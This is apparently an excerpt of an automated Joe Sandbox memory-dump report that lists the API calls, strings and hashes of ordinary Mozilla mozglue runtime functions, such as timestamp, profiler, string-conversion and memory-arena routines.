AcquireSRWLockExclusive.KERNEL32(?), ref: 6C9CD667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C9CD6A2

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 8b0f776c510ab473107d1d224b08e380ca3bf064564383a71e8ff50e319bcbdb
Instruction ID: 15df753bf4b5e13bfc45be3fe75121d9206fb4e160f7a1b8ecf763cce6951d52
Opcode Fuzzy Hash: 8b0f776c510ab473107d1d224b08e380ca3bf064564383a71e8ff50e319bcbdb
Instruction Fuzzy Hash: 10516C75608705DFC704DF24C884A9ABBF4FF99358F108A2EE95A87710DB30E945CB92

Function 6C995670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6C9956D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C9956E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6C9956F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6C995744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6C9957BC
GetTickCount64.KERNEL32 ref: 6C9958CB
EnterCriticalSection.KERNEL32(6C9FF688), ref: 6C9958F3
__aulldiv.LIBCMT ref: 6C995945
LeaveCriticalSection.KERNEL32(6C9FF688), ref: 6C9959B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6C9FF638,?,?,?,?), ref: 6C9959E9

Strings

MOZ_APP_RESTART, xrefs: 6C9956CC

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: e0285526ab418c046848e8aff291229402bebbaba353cb3cef2e9c79ccda9cd0
Instruction ID: bfccd57741c674d1a9820502c44aeb277b44ed518dac81abfb9bb24ffbf45043
Opcode Fuzzy Hash: e0285526ab418c046848e8aff291229402bebbaba353cb3cef2e9c79ccda9cd0
Instruction Fuzzy Hash: F4C16931A0D3449BD705CF28C44066EBBF1BF9A719F198B1DE8D497660DB30E885CB82

Function 6C9BEC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9B9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C984A68), ref: 6C9B945E
Part of subcall function 6C9B9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C9B9470
Part of subcall function 6C9B9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C9B9482
Part of subcall function 6C9B9420: __Init_thread_footer.LIBCMT ref: 6C9B949F

GetCurrentThreadId.KERNEL32 ref: 6C9BEC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9BEC8C

Part of subcall function 6C9B94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9B94EE
Part of subcall function 6C9B94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C9B9508

GetCurrentThreadId.KERNEL32 ref: 6C9BECA1
AcquireSRWLockExclusive.KERNEL32(6C9FF4B8), ref: 6C9BECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C9BECC5
ReleaseSRWLockExclusive.KERNEL32(6C9FF4B8), ref: 6C9BED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C9BED19
CloseHandle.KERNEL32(?), ref: 6C9BED28
free.MOZGLUE(00000000), ref: 6C9BED2F
ReleaseSRWLockExclusive.KERNEL32(6C9FF4B8), ref: 6C9BED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C9BEC94

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 5be266676410c047d6f2a4d467c426aaee385cbaacef322e6ad2a9a3b5cbfe76
Instruction ID: bf18b83e0351286a066d03d3fee3f7aa773753c0bcdd9411166a575d4253e6a7
Opcode Fuzzy Hash: 5be266676410c047d6f2a4d467c426aaee385cbaacef322e6ad2a9a3b5cbfe76
Instruction Fuzzy Hash: 4821E275604108BFDB009F64E808AAB77BDEF9626CF204211FD28A7B41DB75D806CBE1

Function 6C9B8ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6C97EB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C97EB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6C9BB392,?,?,00000001), ref: 6C9B91F4

Part of subcall function 6C9ACBE8: GetCurrentProcess.KERNEL32(?,6C9731A7), ref: 6C9ACBF1
Part of subcall function 6C9ACBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9731A7), ref: 6C9ACBFA

Strings

marker-table, xrefs: 6C9B906C
stack-chart, xrefs: 6C9B90B2
data, xrefs: 6C9B90E8
timeline-memory, xrefs: 6C9B9088
name, xrefs: 6C9B8F16
timeline-ipc, xrefs: 6C9B9096
timeline-overview, xrefs: 6C9B907A
timeline-fileio, xrefs: 6C9B90A4
marker-chart, xrefs: 6C9B905E

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: 4f3a0075dc56efc9496f1eaa368c385d75cfa698a1e607dbcf355c5d1e0835f2
Instruction ID: d07f1af7211ace006784d6322e5fd7ad088a18ddb25ce4ac62b509361e8e1b40
Opcode Fuzzy Hash: 4f3a0075dc56efc9496f1eaa368c385d75cfa698a1e607dbcf355c5d1e0835f2
Instruction Fuzzy Hash: 00B1B0B1A11209ABDB04CF95C8917EFBBB5BFA9308F204419D515ABF80D732D945CBE1

Function 6C99C570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C99C5A3
WideCharToMultiByte.KERNEL32 ref: 6C99C9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C99C9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C99CA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C99CA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C99CAA5

Strings

0, xrefs: 6C99D30A
(null), xrefs: 6C99C596

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: bd45b0adc70b195266f78bcbbeb2fa50f06cae3a74b1f2fadd22a2fbe7f3658e
Instruction ID: ce79902dcd08eeebdff8a0c081829bbe74865f6d149f6c73045151f146b60cc6
Opcode Fuzzy Hash: bd45b0adc70b195266f78bcbbeb2fa50f06cae3a74b1f2fadd22a2fbe7f3658e
Instruction Fuzzy Hash: 16A1BD316083429FDB10DF28C98475ABBF5BF89748F18892DE89AD7741D731E805CB92

Function 6C99C769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C99C784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C99C801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6C99C83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C99C891

Strings

INF, xrefs: 6C99C794
inf, xrefs: 6C99C78F
nan, xrefs: 6C99C7A8
NAN, xrefs: 6C99C7AD

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: d37d239148fdb72103fb336aea55ab7f74b82884a15ac1353a3a90cf9ba1bcf9
Instruction ID: b7b36841eb68f256b0e320b4ded30663e17349498632cbbb870aa12d55509799
Opcode Fuzzy Hash: d37d239148fdb72103fb336aea55ab7f74b82884a15ac1353a3a90cf9ba1bcf9
Instruction Fuzzy Hash: C85193715087408BDB10EF2DC98129AFBF4BF9A348F048A2DE9D5A7650E771D985CB43

Function 6C974480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C9B4843,?), ref: 6C9745F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C9B4843,?), ref: 6C97468A
free.MOZGLUE(?,?,?,?,?,?,6C9B4843,?), ref: 6C9746C9
free.MOZGLUE(?), ref: 6C9746EF
free.MOZGLUE(?), ref: 6C974712
free.MOZGLUE(?), ref: 6C974735
free.MOZGLUE(?), ref: 6C974758
free.MOZGLUE(?), ref: 6C97477B
free.MOZGLUE(?), ref: 6C97479E

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: df1d2f2c8ae3d45dc5eb9f97046375d61196fd916f7771b93eef5f226f88f2e2
Instruction ID: 8963a2ede5fd12478b1281ee225daac2195c97f262d13469df93e9388a5103ef
Opcode Fuzzy Hash: df1d2f2c8ae3d45dc5eb9f97046375d61196fd916f7771b93eef5f226f88f2e2
Instruction Fuzzy Hash: E0B10371A021158FDB28CF7CD8A07AD77A6AF46328F180669E416DFB87D735D8408FA1

Function 6C9DAC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C9DAC52
CreateFileMappingW.KERNEL32 ref: 6C9DAC7D
GetSystemInfo.KERNEL32 ref: 6C9DAC98
MapViewOfFile.KERNEL32 ref: 6C9DACB0
GetSystemInfo.KERNEL32 ref: 6C9DACCD
MapViewOfFile.KERNEL32 ref: 6C9DAD05
UnmapViewOfFile.KERNEL32 ref: 6C9DAD1C
CloseHandle.KERNEL32 ref: 6C9DAD28
UnmapViewOfFile.KERNEL32 ref: 6C9DAD37
CloseHandle.KERNEL32 ref: 6C9DAD43
CloseHandle.KERNEL32 ref: 6C9DAD67

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 0ffd047bf3584394b4e44680fd09b67e629e9a863ce3015c6f9a13d844ef8b40
Instruction ID: fb4ed90b6ca2e632dd4134d865e26d44d91ccabd0c20d6683f32847b16d450df
Opcode Fuzzy Hash: 0ffd047bf3584394b4e44680fd09b67e629e9a863ce3015c6f9a13d844ef8b40
Instruction Fuzzy Hash: 82314FB1A087448FDB00AF78D64826EBBF0BF85305F11892DE99597211EB709458CB82

Function 6C989620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C989675
__Init_thread_footer.LIBCMT ref: 6C989697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C9896E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C989707
__Init_thread_footer.LIBCMT ref: 6C98971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C989773

Part of subcall function 6C9AAB89: EnterCriticalSection.KERNEL32(6C9FE370,?,?,?,6C9734DE,6C9FF6CC,?,?,?,?,?,?,?,6C973284), ref: 6C9AAB94
Part of subcall function 6C9AAB89: LeaveCriticalSection.KERNEL32(6C9FE370,?,6C9734DE,6C9FF6CC,?,?,?,?,?,?,?,6C973284,?,?,6C9956F6), ref: 6C9AABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C9897B7
FreeLibrary.KERNEL32 ref: 6C9897D0
FreeLibrary.KERNEL32 ref: 6C9897EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C989824

Strings

MapViewOfFileNuma2, xrefs: 6C9897B1
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C989670
ntdll.dll, xrefs: 6C9896E3
NtMapViewOfSection, xrefs: 6C989701

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: 96d87eb11a6f001f46cda3ec6d8ed0605132da056211a94b1c5f3e931dd227ed
Instruction ID: c9fb4f15c3dc4f8e94065b56702d2199e4c4627b5f4b7a336bb6b255414e211d
Opcode Fuzzy Hash: 96d87eb11a6f001f46cda3ec6d8ed0605132da056211a94b1c5f3e931dd227ed
Instruction Fuzzy Hash: DB41B1B57052059FDF00CFA5E884A9AB7F8FB89B28F214529ED2587B40D730E805CFA1

Function 6C971E90 Relevance: 15.1, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9FE784), ref: 6C971EC1
LeaveCriticalSection.KERNEL32(6C9FE784), ref: 6C971EE1
EnterCriticalSection.KERNEL32(6C9FE744), ref: 6C971F38
LeaveCriticalSection.KERNEL32(6C9FE744), ref: 6C971F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6C971F83
LeaveCriticalSection.KERNEL32(6C9FE784), ref: 6C971FC0
EnterCriticalSection.KERNEL32(6C9FE784), ref: 6C971FE2
LeaveCriticalSection.KERNEL32(6C9FE784), ref: 6C971FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C972019

Strings

MOZ_CRASH(), xrefs: 6C972000

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: MOZ_CRASH()
API String ID: 2055633661-2608361144
Opcode ID: dc7622825ff1854334787d2ba2d82e18c06d758dd1b1608394958223dd5eb14c
Instruction ID: 141eabfb7fe344622fe45b8da5bab2ea1033b58cebbb991117eb59d492db5afd
Opcode Fuzzy Hash: dc7622825ff1854334787d2ba2d82e18c06d758dd1b1608394958223dd5eb14c
Instruction Fuzzy Hash: 3C410471B0A3098BDF109FB9D898B6E3AB5EF5A708F240025E92897740DB71D8058BE1

Function 6C9C0000 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 127threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9B9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C984A68), ref: 6C9B945E
Part of subcall function 6C9B9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C9B9470
Part of subcall function 6C9B9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C9B9482
Part of subcall function 6C9B9420: __Init_thread_footer.LIBCMT ref: 6C9B949F

GetCurrentThreadId.KERNEL32 ref: 6C9C0039
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9C0041
GetCurrentThreadId.KERNEL32 ref: 6C9C0075
AcquireSRWLockExclusive.KERNEL32(6C9FF4B8), ref: 6C9C0082
moz_xmalloc.MOZGLUE(00000048), ref: 6C9C0090
free.MOZGLUE(?), ref: 6C9C0104
ReleaseSRWLockExclusive.KERNEL32(6C9FF4B8), ref: 6C9C011B

Strings

[D %d/%d] profiler_register_page(%llu, %llu, %s, %llu), xrefs: 6C9C005B

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease_getpidfreemoz_xmalloc
String ID: [D %d/%d] profiler_register_page(%llu, %llu, %s, %llu)
API String ID: 3012294017-637075127
Opcode ID: c05799e95f0125609e04e64070d4ea446d64c2bd543e744e63a1993a1b0d3234
Instruction ID: 1934e5d61fb6b77aaaac81ca9fdd7a3343067d46098ee09f9c0c2fb22da92aa4
Opcode Fuzzy Hash: c05799e95f0125609e04e64070d4ea446d64c2bd543e744e63a1993a1b0d3234
Instruction Fuzzy Hash: 3A41AEB5604244EFCB10CF64D844A9BBBF1FF69318F50451EE9AA93B40D731E915CBA2

Function 6C987E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C987EA7
malloc.MOZGLUE(00000001), ref: 6C987EB3

Part of subcall function 6C98CAB0: EnterCriticalSection.KERNEL32(?), ref: 6C98CB49
Part of subcall function 6C98CAB0: LeaveCriticalSection.KERNEL32(?), ref: 6C98CBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C987EC4
mozalloc_abort.MOZGLUE(?), ref: 6C987F19
malloc.MOZGLUE(?), ref: 6C987F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C987F4D

Strings

d, xrefs: 6C987F89

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: 8eabec249789046538e3bdc8ce8b14f0c5b1382405edcfa1525eb34e87bb8c5f
Instruction ID: 6dfdad77c3fd53e277e211b2455dd26fd531ae16953d8d282461ee6432c30e8f
Opcode Fuzzy Hash: 8eabec249789046538e3bdc8ce8b14f0c5b1382405edcfa1525eb34e87bb8c5f
Instruction Fuzzy Hash: 73311662E0438897DF019B68DC445FEB778EFB6208F149629EC595B712FB30E698C390

Function 6C983E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?), ref: 6C983EEE
RtlFreeHeap.NTDLL ref: 6C983FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040), ref: 6C984006
RtlFreeHeap.NTDLL ref: 6C9840A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C983CCC), ref: 6C9840AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C983CCC), ref: 6C9840C2
RtlFreeHeap.NTDLL ref: 6C984134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,?,?,?,?,6C983CCC), ref: 6C984143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,?,?,?,?,6C983CCC), ref: 6C984157

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: 731109814d280e8dfadcc6840e8982f8bdb70b4b652706f75d5270cfe6e8ccf2
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: 86A182B1A01215CFEB40CF28C88076ABBB9FF58318F254959D909AF742D771D956CFA0

Function 6C972030 Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 204memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,6C993F47,?,?,?,6C993F47,6C991A70,?), ref: 6C97207F
memset.VCRUNTIME140(?,000000E5,6C993F47,?,6C993F47,6C991A70,?), ref: 6C9720DD
VirtualFree.KERNEL32(00100000,00100000,00004000,?,6C993F47,6C991A70,?), ref: 6C97211A
EnterCriticalSection.KERNEL32(6C9FE744,?,6C993F47,6C991A70,?), ref: 6C972145
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004,?,6C993F47,6C991A70,?), ref: 6C9721BA
EnterCriticalSection.KERNEL32(6C9FE744,?,6C993F47,6C991A70,?), ref: 6C9721E0
LeaveCriticalSection.KERNEL32(6C9FE744,?,6C993F47,6C991A70,?), ref: 6C972232

Strings

MOZ_RELEASE_ASSERT(node->mArena == this), xrefs: 6C972253, 6C972268
MOZ_CRASH(), xrefs: 6C97227D

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
